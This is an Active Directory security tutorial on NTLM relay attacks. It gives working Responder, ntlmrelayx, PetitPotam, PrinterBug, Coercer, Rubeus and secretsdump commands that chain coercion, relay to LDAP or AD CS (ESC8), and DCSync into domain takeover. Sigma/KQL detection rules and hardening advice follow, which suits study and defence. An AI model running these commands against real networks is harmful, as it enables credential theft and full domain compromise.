NTLM Relay Attacks
NTLM relay doesn't crack hashes — it live-proxies an authentication from a victim to a target service, using the victim's credentials to authenticate on your behalf. Combined with authentication coercion techniques (PetitPotam, PrinterBug, DFSCoerce) against machine accounts and relay targets like LDAP or AD CS, a single unauthenticated position on the network can escalate to Domain Admin.
You have code execution on a standard workstation. NTLM signing is enforced on SMB but NOT on LDAP. You coerce the Domain Controller's computer account to authenticate to you using PetitPotam (EfsRpcOpenFileRaw). You relay that NTLM authentication to LDAP on the same DC — writing a shadow credential (msDS-KeyCredentialLink) or adding your account to Domain Admins. The DC authenticates itself to its own LDAP with its own computer account credentials, and you use that to compromise the domain. No passwords cracked, no LSASS touched.
NTLM Relay Theory
LLMNR/NBT-NS Poisoning to Capture Auth
# Responder: poison LLMNR/NBT-NS/mDNS — capture NetNTLMv2 challenges
# When a Windows host fails DNS resolution, it broadcasts LLMNR (port 5355)
# and NBT-NS (port 137) asking "who is \FILESERVER03?"
# Responder claims to be that host → captures authentication attempt
# Capture mode (no relay — store hashes for offline cracking):
sudo python3 /opt/Responder/Responder.py -I eth0 -wd
# Relay mode (forward captured auth to a real target):
# Disable HTTP/SMB in Responder.conf first, then:
sudo python3 /opt/Responder/Responder.py -I eth0 -wd \
--lm --disable-ess
# Simultaneously run ntlmrelayx:
sudo python3 /opt/impacket/examples/ntlmrelayx.py \
-tf targets.txt \ # list of SMB targets without signing
-smb2support \
-c "powershell -enc ..." # command to run if relay succeeds
# SMB targets without signing (from CrackMapExec or nmap):
cme smb 10.10.5.0/24 --gen-relay-list targets.txt
SMB Relay to Remote Code Execution
SMB-to-LDAP Relay: Shadow Credentials
# Relay NTLM auth from a privileged account (e.g., DC machine account) to LDAP.
# LDAP has no signing requirement by default on most DCs.
# ntlmrelayx --delegate-access or --shadow-credentials do different things:
# Shadow credentials: add msDS-KeyCredentialLink to a user/computer
# → Allows Kerberos PKINIT auth using our RSA keypair → get TGT without password
# Requires: DC on Windows Server 2016+ with ADCS or Windows Hello for Business schema
sudo python3 ntlmrelayx.py \
-t ldap://dc01.corp.local \
--shadow-credentials \
--shadow-target 'targetuser'
# Output: new keypair created, msDS-KeyCredentialLink written to 'targetuser'
# Then: Rubeus.exe asktgt /user:targetuser /certificate:<pfx> /password:<pfx_pass>
# Result: TGT for targetuser — full domain user compromise without knowing their password
# Alternative: Resource-Based Constrained Delegation (RBCD) abuse:
# ntlmrelayx writes msDS-AllowedToActOnBehalfOfOtherIdentity on the target computer
# → attacker machine can S4U2Proxy to get service tickets as any user on that computer
sudo python3 ntlmrelayx.py \
-t ldap://dc01.corp.local \
--delegate-access
Relay to ADCS — ESC8 (PetitPotam + Web Enrollment)
# ESC8: ADCS HTTP Web Enrollment endpoint (/certsrv/) does not enforce NTLM signing.
# Relay DC machine account auth to ADCS → request a certificate for the DC$ account.
# A DC certificate can be used for PKINIT TGT request → full domain compromise.
# Step 1: Force DC to authenticate to us (coercion — see next section)
# Step 2: Relay to ADCS enrollment endpoint:
sudo python3 ntlmrelayx.py \
-t http://ca01.corp.local/certsrv/certfnsh.asp \
--adcs \
--template DomainController # or "Machine", depends on CA config
# Output: base64 PFX certificate for DC01$ machine account
# Step 3: Use certificate for PKINIT TGT request:
# Rubeus.exe asktgt /user:DC01$ /certificate:<base64pfx> /ptt
# Step 4: DCSync:
# secretsdump.py -k -no-pass DC01.corp.local
# Result: all domain hashes → ntds.dit equivalent
Authentication Coercion Techniques
| Technique | Protocol/RPC | Requirement | Target |
|---|---|---|---|
| PetitPotam | MS-EFSR (EfsRpcOpenFileRaw) | Network access to port 445 | Any Windows host (including DCs) |
| PrinterBug (SpoolSample) | MS-RPRN (RpcRemoteFindFirstPrinterChangeNotification) | Print Spooler running on target | Older DCs/servers with Spooler enabled |
| DFSCoerce | MS-DFSNM (NetrDfsAddStdRoot) | DFS Namespace service | DCs with DFS role |
| ShadowCoerce | MS-FSRVP (IsPathShadowCopied) | VSS running on target | File servers |
| Coercer (framework) | Multiple MS-RPC methods | Network auth | Any — tries all methods |
# PetitPotam: coerce DC to authenticate to our relay listener
python3 PetitPotam.py -u '' -p '' -d '' \
<attacker_IP> <dc_hostname_or_IP>
# PrinterBug (requires Print Spooler on target):
python3 printerbug.py corp/user:password@dc01.corp.local <attacker_IP>
# Coercer framework (tries all methods):
python3 Coercer.py coerce \
-u lowprivuser -p 'Password1!' -d corp.local \
--listener-ip <attacker_IP> \
--target dc01.corp.local
Detection Engineering
title: LLMNR/NBT-NS Poisoning Response Detected
logsource:
product: windows
service: dns-client
detection:
selection:
EventID: 1014 # DNS client event — name resolution failure (LLMNR fallback)
condition: selection
level: informational
tags: [attack.credential_access, T1557.001]
title: PetitPotam — EFS RPC Coercion from Non-Domain-Admin
logsource:
product: windows
service: security
detection:
selection:
EventID: 5145 # A network share object was checked
RelativeTargetName: 'lsarpc'
ShareName: '\\*\IPC$'
condition: selection
level: medium
-- MDE KQL: machine account NTLM auth from DC to unusual target (relay indicator)
DeviceLogonEvents
| where AccountName endswith '$' -- machine account
| where LogonType == "Network"
| where Protocol == "NTLM"
| where RemoteDeviceName !in~ ("DC01", "DC02") -- not authenticating to own DC
| project Timestamp, DeviceName, AccountName,
RemoteDeviceName, RemoteIP, LogonType
| order by Timestamp desc
-- MDE KQL: certificate request immediately following machine account NTLM (ESC8 indicator)
DeviceEvents
| where ActionType == "CertificateRequest"
| join kind=inner (
DeviceLogonEvents
| where AccountName endswith '$'
| where Protocol == "NTLM"
) on DeviceName
| where abs(datetime_diff('second', Timestamp, Timestamp1)) < 30
| project Timestamp, DeviceName, AccountName, ActionType
Q&A
If SMB signing is enforced everywhere, is NTLM relay dead, and what relay targets remain viable?
SMB signing enforcement kills SMB-to-SMB relay specifically, but it does not kill NTLM relay as a class of attack. NTLM relay is alive and extremely effective as long as any service accepts NTLM authentication without enforcing message integrity. The major targets that typically lack mandatory NTLM signing or are frequently misconfigured:
LDAP / LDAPS: LDAP signing and channel binding are disabled by default on many DCs even on modern Windows Server. Microsoft released guidance (ADV190023) recommending enforcement but most organizations haven't applied it. Relay to LDAP with shadow credentials or RBCD abuse is the most common post-coercion escalation path in 2024. HTTP services: AD CS web enrollment (port 80/443 on the CA), Exchange OWA/EWS (historically), Outlook Web App, and internal web applications that use Windows Integrated Authentication. The ESC8 ADCS relay attack is one of the highest-impact techniques available because it converts any successful coercion into a domain certificate for the victim's account. MSSQL: if SQL Server uses Windows Authentication, relaying an admin account's NTLM auth to SQL Server grants DBA access. SMTP/Autodiscover: Exchange server Autodiscover and SMTP AUTH can relay NTLM. The practical hardening posture is: (1) enforce SMB signing on all hosts via GPO, (2) enable LDAP signing and channel binding on all DCs (KB4520412), (3) disable NTLM entirely where possible (Kerberos-only policy), (4) restrict ADCS web enrollment to require Kerberos, and (5) disable LLMNR and NBT-NS via GPO to eliminate the primary coercion vector without requiring active exploitation.